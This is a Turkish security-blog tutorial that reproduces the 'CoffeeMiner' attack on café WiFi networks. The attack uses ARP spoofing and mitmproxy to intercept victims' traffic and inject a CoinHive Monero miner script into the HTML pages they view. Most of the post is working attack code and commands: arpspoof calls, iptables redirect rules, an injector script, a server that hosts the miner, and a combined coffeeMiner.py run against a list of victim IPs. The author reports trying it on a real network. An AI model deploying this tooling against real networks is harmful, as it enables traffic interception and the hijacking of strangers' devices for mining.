• Hakkımızda
  • Künye
  • Katkıda Bulun
  • İletişim
H4cktimes
Sonuç bulunamadı
View All Result
  • Siber Saldırılar
    • Veri Sızıntıları
    • DDoS Saldırıları
    • Siber İstihbarat
  • Araştırma/Analiz
  • Güvenlik Açıkları
  • Zararlı Yazılım
  • Diğer
    • Mobil Casusluk
    • Sosyal Mühendislik
    • Uyumluluk
    • Nasıl Yapılır?
    • Teknoloji
    • Röportajlar
    • Kişisel Verileri Koruma
    • Siber Savaş
    • Sizden Gelenler
BİZE YAZIN
  • Siber Saldırılar
    • Veri Sızıntıları
    • DDoS Saldırıları
    • Siber İstihbarat
  • Araştırma/Analiz
  • Güvenlik Açıkları
  • Zararlı Yazılım
  • Diğer
    • Mobil Casusluk
    • Sosyal Mühendislik
    • Uyumluluk
    • Nasıl Yapılır?
    • Teknoloji
    • Röportajlar
    • Kişisel Verileri Koruma
    • Siber Savaş
    • Sizden Gelenler
Sonuç bulunamadı
View All Result
H4cktimes
Sonuç bulunamadı
View All Result
Anasayfa Güvenlik Açıkları

MITM saldırısı ile WIFI ağlarında kripto para kazıma

Furkan Sayım Furkan Sayım
8 Ocak 2018
minimum okuma 9 min
0
MITM saldırısı ile WIFI ağlarında kripto para kazıma

Birkaç hafta önce Starbucks hakkında bir dava görüldüğünü duymuşsunuzdur. Bu davayı bilmeyenler için içeriğinden biraz bahsedeyim. Dava, kripto para üzerineydi. Birkaç saldırganın Starbucks’a gelerek buradaki ağın içerisinde yer alan cihazların CPU ve GPU güçlerini kullanarak Mining işlemi yaptırdıkları ortaya çıktı. Bu olayın tespit edilmesinden sonra, Starbucks ile ilgili dava görülmeye başlandı. Olayın ilginç gelmesi üzerine bunu “nasıl yapılabilir?” konusunu düşünerek sizler için bu olayı yazımızda simüle edeceğiz.

İlgili Yazılar

2020’de En Çok İstismar Edilen Güvenlik Açıkları

Google Chrome’da İki Yeni Zeroday Zafiyeti

Google Chrome Web Tarayıcınızı Hemen Güncelleyin!

Bir saldırgan olarak bir LAN’da yer alan cihazları bizim hazırladığımız bir HTML sayfasına yönlendireceğiz ve bu sayfada yer alan cihazlara kötü amaçlı javascript kodu enjekte ederek kripto para mining (kazıma) işlemi yaptıracağız. CoffeeMiner olarak adlandırdığımız şey, kafelerdeki WiFi ağlarına yapılabilen bir saldırı türüdür.

Senaryo

CoffeeMiner ile WiFi ağı (LAN) içerisinde yer alan kullanıcılar ile router arasında geçen trafiğin arasına girmek ve trafiğin bizim üzerimizden gitmesini sağlamak. Yani Man in the Middle (ortadaki adam) saldırısı.

Lab’ı Kurmaya Başlayalım

Bu senaryoyu, dizüstü bilgisayarlar ve akıllı telefonların bağlı olduğu bir WiFi ağında gerçek hayatta test ettik ve işe yaradı. Ancak bu yazı için, sanal ortamda nasıl kurulacağını daha detaylı bir şekilde göreceğiz.

Lab ortamı için VirtualBox (https://www.virtualbox.org/) kullanacağız. Siz herhangi bir sanallaştırma platformu kullanabilirsiniz.

Ben saldırı testi için Kali Linux dağıtımını kullanacağım sizlere de bunu öneririm. Fakat siz Kali gibi bu tür farklı dağıtımlarda kullanabilirsiniz.

Cyberthint Cyberthint Cyberthint
REKLAM

Linux olarak 3 adet makine hazırlıyoruz.

Senaryoya göre her bir makinenin rollerini ele alalım:

  • Kurban
    • Router’a bağlanan ve sayfalarda gezinen makine olacak.
  • Saldırgan
    • CoffeeMiner’ın çalıştığı ve MITM yapacağımız makine olacak.
  • Router / Gateway
    • Normal bir Router olarak görev alacak.

Saldırı gerçekleştirildikten sonra yapı şu şekilde olacaktır:

Makinelerin her birini yapılandırmak için şu ayarları yapacağız:

  • Kurban
    • Network adaptör:
      • eth0: Host-only
    • /etc/network/interface:

auto lo

iface lo inet loopback

 

auto eth0

iface eth0 inet static

     address 10.0.2.10

     netmask 255.255.255.0

     gateway 10.0.2.15

 

  • Saldırgan
    • Network adaptör:
      • eth0: Host-only
    • /etc/network/interface:

auto lo

iface lo inet loopback

auto eth0

iface eth0 inet static

     address 10.0.2.20

     netmask 255.255.255.0

     gateway 10.0.2.15

 

  • Router / Gateway
    • Network adapter:
      • eth0: Bridged
      • eth1: Host-only
    • /etc/network/interface:

auto lo

iface lo inet loopback

auto eth0

iface eth0 inet dhcp

auto eth1

     iface eth1 inet static

     address 10.0.2.15

     netmask 255.255.255.0

 

CoffeeMiner, Koduna Başlayalım

ArpSpoofing

Öncelikle, MITM saldırısının nasıl yapıldığını anlamamız gerekir.

Wikipedia’da:

Man-in-the-middle attack (Ortadaki adam saldırısı), bir network üzerinde kurban bilgisayar ile diğer ağ araçları (yönlendirici, switch, modem ya da server gibi) arasına girerek verileri yakalama ve şifrelenmemiş verileri görebilme ilkesine dayanan bir saldırı çeşididir.

Ağ üzerinde veri paketleri serbestçe dolaşır. Özellikle broadcast olarak salınan paketler, aynı ağa bağlı tüm cihazlar tarafından görülebilir. İlkesel olarak hedefinde kendi IP’si olmayan bir paketi alan makineler, bu paketlerle ilgili herhangi bir işlem yapmamaları gerekir. Ancak istenirse bu paketlere müdahale edebilir ya da içeriğini öğrenebilirler. Aradaki adam saldırısı ağ üzerindeki paketleri yakalayarak manipüle etmek olarak özetlenebilir.

https://tr.wikipedia.org/wiki/Man-in-the-middle_attack

ARP Spoofing saldırısını gerçekleştirmek için dsniff aracını kullanacağız.

arpspoof -i interface -t ipVictim ipGateway

arpspoof -i interface -t ipGateway ipVictim

Mitmproxy

Mitmproxy, bir bilgisayardan geçen trafiği analiz etmemizi sağlayan ve o trafiğin düzenlenmesine izin veren bir yazılımdır. Bizim durumumuzda, javascript’i html sayfalarına enjekte etmek için kullanacağız.

İşlemi daha temiz yapmak için yalnızca html sayfalarına bir satırlık kod enjekte edeceğiz.

Mining Pool’a dahil edecek olan o kod:

<script src=”http://httpserverIP:8000/script.js”></script>

Injector

Kurbanın trafiğini kestikten sonra, komut dosyamızı enjekte etmeliyiz. Enjeksiyonu yapmak için mitmproxy API’ını kullanacağız:

from bs4 import BeautifulSoup

from mitmproxy import ctx, http

import argparse

 

class Injector:

     def __init__(self, path):

          self.path = path

     def response(self, flow: http.HTTPFlow) -> None:

          if self.path:

               html = BeautifulSoup(flow.response.content, “html.parser”)

               print(self.path)

               print(flow.response.headers[“content-type”])

                    if flow.response.headers[“content-type”] == ‘text/html’:

                         script = html.new_tag(

                              “script”,

                              src=self.path,

                              type=’application/javascript’)

                         html.body.insert(0, script)

                         flow.response.content = str(html).encode(“utf8”)

                         print(“Script injected.”)

def start():

     parser = argparse.ArgumentParser()

     parser.add_argument(“path”, type=str)

     args = parser.parse_args()

     return Injector(args.path)

 

HTTP Server

Gördüğümüz gibi, enjektör html dosyasına javascript kripto madencimizi çağıran bir satır ekliyor. Bu nedenle, komut dosyasını bir HTTP sunucusunda konuşlandırılmasını sağlamalıyız.

Javascript kripto madencimizin hizmet etmesi için, saldırganın makinesinde bir HTTP sunucusu oluşturacağız. Bunu yapmak için, “http.server” adlı Python kütüphanesini kullanacağız:

#!/usr/bin/env python

import http.server

import socketserver

import os

 

PORT = 8000

web_dir = os.path.join(os.path.dirname(__file__), ‘miner_script’)

os.chdir(web_dir)

Handler = http.server.SimpleHTTPRequestHandler

httpd = socketserver.TCPServer((“”, PORT), Handler)

print(“serving at port”, PORT)

httpd.serve_forever()

 

Yukarıdaki kod, kripto madencimizi istediği zaman hizmet etmeleri için çağıran basit bir HTTP sunucusudur.

Javascript madencisini, miner_script dizinine yerleştireceğiz. Şimdi ise bu iş için CoinHive javascript madencisini kullanacağız

CoinHive Crypto Miner

CoinHive, Monero (XMR) için bir javascript madencisidir. Bir web sitesine eklenebilir ve CryptoNote protokolünü temel alarak Cryptonight PoW karma algoritması ile kullanıcının CPU gücünü kullanır.

Kullanıcıların orta-uzun vadeli bir web sitesinde kaldığında CoinHive madencisi mantıklı geliyor. Örneğin, bir web sitesi için kullanıcının o sitede kalma süresi 40 saniye ve aşağısı ise bunu kullanmak pek mantıklı değil.

Bizim durumumuzda, kurbanların gitmek istediği HTML sayfalarının her birine kripto madencisi enjekte edeceğiz, Monero Mining için uzun vadeli oturumlar ile yapacağız.

Ana hedef, önceki kavramların hepsini tek bir yapıda konuşlandırmaktır.

Yapacağımız olay, ARP spoofing saldırısını gerçekleştiren CoffeeMiner komut dosyasına sahip olmak ve kurbanların HTML sayfalarına CoinHive Crypto Miner enjekte etmek için mitmproxy’yi kurmak.

Öncelikle, saldırganın makinesini bir proxy’ye dönüştürmek için ip_forwarding ve IPTABLES’ı yapılandırmamız gerekir:

echo 1 > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 8080

Tüm kurbanlara ARP spoof gerçekleştirmek için, kurbanın IP’si olan bir “victims.txt” dosyası hazırlayacağız. Tüm kurbanlar IP’lerini okumak için IP’leri alacak ve kurbanın IP’lerinin her biri için ARPspoof’u gerçekleştiren Python kodu hazırlıyoruz.

# get gateway_ip

gateway = sys.argv[1]

print(“gateway: ” + gateway)

# get victims_ip

victims = [line.rstrip(‘\n’) for line in open(“victims.txt”)]

print(“victims:”)

print(victims)

# run the arpspoof for each victim, each one in a new console

for victim in victims:

     os.system(“xterm -e arpspoof -i eth0 -t ” + victim + ” ” + gateway + ” &”)

     os.system(“xterm -e arpspoof -i eth0 -t ” + gateway + ” ” + victim + ” &”)

ARPspoofing gerçekleştirildikten sonra, HTTP sunucusunu çalıştırmamız yeterlidir:

python3 httpServer.py

Son olarak, mitmproxy’yi injector.py ile çalıştırabiliriz:

mitmdump -s ‘injector.py http://httpserverIP:8000/script.js’

CoffeeMiner için Son Düzenlemeler

Şimdi yukarıda paylaşılan tüm kodları “coffeeMiner.py” komut dosyasında topladık:

import os

import sys

#get gateway_ip (router)

gateway = sys.argv[1]

print(“gateway: ” + gateway)

# get victims_ip

victims = [line.rstrip(‘\n’) for line in open(“victims.txt”)]

print(“victims:”)

print(victims)

# configure routing (IPTABLES)

os.system(“echo 1 > /proc/sys/net/ipv4/ip_forward”)

os.system(“iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE”)

os.system(“iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 8080”)

os.system(“iptables -t nat -A PREROUTING -p tcp –destination-port 443 -j REDIRECT –to-port 8080”)

# run the arpspoof for each victim, each one in a new console

for victim in victims:

     os.system(“xterm -e arpspoof -i eth0 -t ” + victim + ” ” + gateway + ” &”)

     os.system(“xterm -e arpspoof -i eth0 -t ” + gateway + ” ” + victim + ” &”)

# start the http server for serving the script.js, in a new console

os.system(“xterm -hold -e ‘python3 httpServer.py’ &”)

# start the mitmproxy

os.system(“~/.local/bin/mitmdump -s ‘injector.py http://10.0.2.20:8000/script.js‘ -T”)

 

ve birde “injector.py” komut dosyasına eklediklerimiz:

from bs4 import BeautifulSoup

from mitmproxy import ctx, http

import argparse

class Injector:

     def __init__(self, path):

          self.path = path

     def response(self, flow: http.HTTPFlow) -> None:

          if self.path:

               html = BeautifulSoup(flow.response.content, “html.parser”)

               print(self.path)

               print(flow.response.headers[“content-type”])

                    if flow.response.headers[“content-type”] == ‘text/html’:

                         print(flow.response.headers[“content-type”])

                         script = html.new_tag(

                              “script”,

                              src=self.path,

                              type=’application/javascript’)

                         html.body.insert(0, script)

                         flow.response.content = str(html).encode(“utf8”)

                         print(“Script injected.”)

def start():

     parser = argparse.ArgumentParser()

     parser.add_argument(“path”, type=str)

     args = parser.parse_args()

     return Injector(args.path)

Çalıştırmak için yapmamız gereken sadece:

python3 coffeeMiner.py RouterIP

Demo

Demoyu yapmak için, yukarıda açıkladığımız VirtualBox Lab’ını kurmuştuk.

Saldırıyı manuel olarak yapmak istiyorsak, aşağıdaki terminallere ihtiyacımız olacak:

Ardından, ARP spoofing saldırısı yapıldıktan sonra enjektör ve HTTP sunucu hazır olduğunda, kurbanın makinesine gidebilir ve bir web sitesine göz atabiliriz. Kurbanın trafiği saldırganın makinesinden geçecek ve enjektörü aktif edecektir.

Kurbanın görüntülediği sayfalarında, saldırganın enjekte ettiği html kod satırları bulunur.

Video

Aşağıdaki videoda, coffeeMiner.py komut dosyasını kullanarak yapılan saldırının tamamını görebilirsiniz:

Gerçek WiFi ağında yapıldığında nasıl olduğunu buradan görebilirsiniz:

Etiket: coffeeminercryptominingmining poolmitm
Paylaş74TweetPin
Furkan Sayım

Furkan Sayım

Siber Güvenlik Araştırmacısı olmaya çalışan bir Developer

İlgili Yazılar

2020’de En Çok İstismar Edilen Güvenlik Açıkları
Araştırma/Analiz

2020’de En Çok İstismar Edilen Güvenlik Açıkları

5 Ocak 2021
Google Chrome Web Tarayıcınızı Hemen Güncelleyin!
Güvenlik Açıkları

Google Chrome’da İki Yeni Zeroday Zafiyeti

16 Kasım 2020
Google Chrome Web Tarayıcınızı Hemen Güncelleyin!
Güvenlik Açıkları

Google Chrome Web Tarayıcınızı Hemen Güncelleyin!

22 Ekim 2020
Windows 11’i Kritik 87 Zafiyet için Yama Yayınladı
Güvenlik Açıkları

Windows 11’i Kritik 87 Zafiyet için Yama Yayınladı

14 Ekim 2020
Instagram’da Kritik Zafiyet
Güvenlik Açıkları

Instagram’da Kritik Zafiyet

25 Eylül 2020
Zerologon Zafiyeti Windows Domain Controller’ı 10 Saniyede Ele Geçiriyor
Güvenlik Açıkları

Zerologon Zafiyeti Windows Domain Controller’ı 10 Saniyede Ele Geçiriyor

15 Eylül 2020
Sonraki Yazı
Adli bilişim analizi için UltraDock cihazının temel kullanımı

Adli bilişim analizi için UltraDock cihazının temel kullanımı

Adli bilişim aracı olarak Magnet AXIOM

Adli bilişim aracı olarak Magnet AXIOM

Bir cevap yazın Cevabı iptal et

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Popüler Yazılar

Email Hesabı Hacklemek için Telefon Numarası Yeterli

Email Hesabı Hacklemek için Telefon Numarası Yeterli

İsmail Saygılı
11 Aralık 2016
2

Hepimiz dolandırıcılar tarafından kişişel bilgilerimizi ve paramızı çalma niyetiyle aldatıcı telefon ve mesajlar almaktayız fakat yeni bir sosyal mühendislik senaryosunun...

EGM’nin Hacklenme İddiası Hakkında

EGM’nin Hacklenme İddiası Hakkında

İsmail Saygılı
18 Şubat 2016
12

14 Şubat tarihinde CthulhuSec nickli kişi kendi blog sitesinden ve Twitter adresinden T.C. Emniyet Genel Müdürlüğüne dair bir takım verilerin...

2020’de En Çok İstismar Edilen Güvenlik Açıkları

2020’de En Çok İstismar Edilen Güvenlik Açıkları

Erdinç Tandoğan
5 Ocak 2021
0

Gartner'a göre, 2020'nin sonunda istismar edilen güvenlik açıklarının %99'u, olay anında güvenlik ve BT uzmanları tarafından bilinen açıklıklardı. Yalnızca geçen...

Enine Boyuna Wireshark ve Saldırı Analizleri

Enine Boyuna Wireshark ve Saldırı Analizleri

Ahmet Candan
23 Ekim 2019
1

Wireshark Nedir? Wireshark, 1998 yılında ilk olarak Ethereal adıyla faaliyete başlayan bir projedir . Ticari marka sorunları nedeniyle Mayıs 2006'da...

H4cktimes

H4cktimes; adıyla müsemma bir siber güvenlik haber platformudur.

Devamını Oku »

Son Yazılar

  • 2020’de En Çok İstismar Edilen Güvenlik Açıkları
  • 615.000’den Fazla Facebook Kimlik Bilgisi Büyük Ölçekli Bir Phishing Kampanyası ile Çalındı
  • Trend Micro’dan Siber Risk Endeksi

Kategoriler

  • Araştırma/Analiz
  • DDoS Saldırılar
  • Etkinlikler
  • Güvenlik Açıkları
  • Mobil Casusluk
  • Nasıl Yapılır?
  • Röportajlar
  • Siber Güvenlik
  • Siber İstihbarat
  • Siber Saldırılar
  • Siber Savaş
  • Sizden Gelenler
  • Sosyal Mühendislik
  • Teknoloji
  • Uyumluluk
  • Veri Sızıntıları
  • Zararlı Yazılımlar

© 2020 H4cktimes

Sonuç bulunamadı
View All Result
  • Siber Saldırılar
    • Veri Sızıntıları
    • DDoS Saldırıları
    • Siber İstihbarat
  • Araştırma/Analiz
  • Güvenlik Açıkları
  • Zararlı Yazılım
  • Diğer
    • Mobil Casusluk
    • Sosyal Mühendislik
    • Uyumluluk
    • Nasıl Yapılır?
    • Teknoloji
    • Röportajlar
    • Kişisel Verileri Koruma
    • Siber Savaş
    • Sizden Gelenler

© 2020 H4cktimes